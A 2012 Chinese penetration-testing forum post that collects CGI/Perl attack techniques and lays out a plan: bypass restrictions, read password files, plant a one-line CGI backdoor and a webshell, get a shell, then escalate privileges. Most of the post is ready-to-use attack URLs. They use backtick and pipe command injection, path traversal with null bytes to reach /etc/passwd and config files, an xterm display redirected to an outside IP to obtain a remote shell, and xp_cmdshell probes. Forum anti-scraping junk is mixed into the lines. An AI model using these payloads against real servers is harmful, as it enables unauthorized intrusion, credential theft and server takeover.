中国网络渗透测试联盟

标题: CGI资料整理 [打印本页]

作者: admin    时间: 2012-9-13 16:56
标题: CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  , f8 V$ g: g0 H, j
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
+ P5 b% C/ _$ t! n, Y- j感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ( a4 t2 K- M7 q+ W
注“  
: ?; i5 P+ T) `/ m' L; S( I- Sperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ; I3 a6 X) s; K( y
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
3 z! H% {# f  t8 u/ J! H
9 ]! `' w% D& f: k6 A$ uhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  5 V( j2 S& {8 P4 |$ V
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
  O- K; _; j  Phttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
* y9 N. P0 V$ D: [0 n( s  Q8 lhttp://target.com/cgi-bin/home/news/sub.pl?`id`  
9 S" }3 }5 I$ o7 Jhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  ) X% z! S8 t3 X: M' V+ |4 ]
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  ! Z' s3 R' z0 [5 i( z

- ~1 C! n6 o# r2 w* I2 ^http://target.com/test.pl;ls|  7 a$ y7 c, ~7 F" Y; I: p
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  , f- r2 h8 w/ O6 x. v3 Y. t- [; Y9 g
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
; v* ]+ U) A2 I& ?4 W- G* Hhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
  A4 x4 H  K( x! e7 g3 k2 E比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
7 Z. s1 l  n5 z; n3 h4 {0 Y3 [http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  0 u! [! i. p% m" z3 Q
2 U& c6 N( [: c! A* U
http://target.com/test.pl?&........ /../../etc/passwd  
4 u4 L+ B3 I% A  P* K
- a( y6 Q$ [; y' E/ {http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  * `& K& _( \- b
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
9 h. V5 g2 W7 j5 q4 fhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
. N, j3 h9 R1 o, G5 i) j
6 Z, x$ h& k* P$ v+ `$ uhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
! v& F! q/ i, O- b/ ?3 x4 ihttp://www.target.org/show.php?f ... ng/admin/global.php  7 {/ W5 K. f! k" V; ?9 S
0 |: {( ?- A) q+ J* _! H% z+ k
emm和ps的一句话, j5 O3 Q% o- v4 G- @

/ p% e5 B+ O" |" C2 j1 j8 G- fhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  ) w8 [: }7 `& ~" C8 G9 Y' k1 W
9 ]) ^, l' t, G, w
>bbb%20|  * H1 A: L/ p/ r4 f/ X
! `5 ~' y/ [; l1 b5 K6 l# t5 n: H9 M. O
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
7 g( ^0 y' R; X& L' C# \' q5 I
& h' ~/ _# E/ j/ vhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  4 w+ s9 r3 ^& X. o  g
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  : j  l; i0 r5 e; A: d

6 D4 v& a8 j0 u% e4 B# O! c  A相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
1 C+ B0 K" I3 w; x' Y; V2 k( Xhttp://target.com/index.html#cmd.exe  
$ Q6 V- h5 @8 {: |+ o) F% Ahttp://target.com/index.html?dummyparam=xp_cmdshell  
0 E* ?( f8 ]( _6 m* e" x0 Wlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  # X' b4 g% B. Q; b9 \3 o6 ?& _7 ?





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2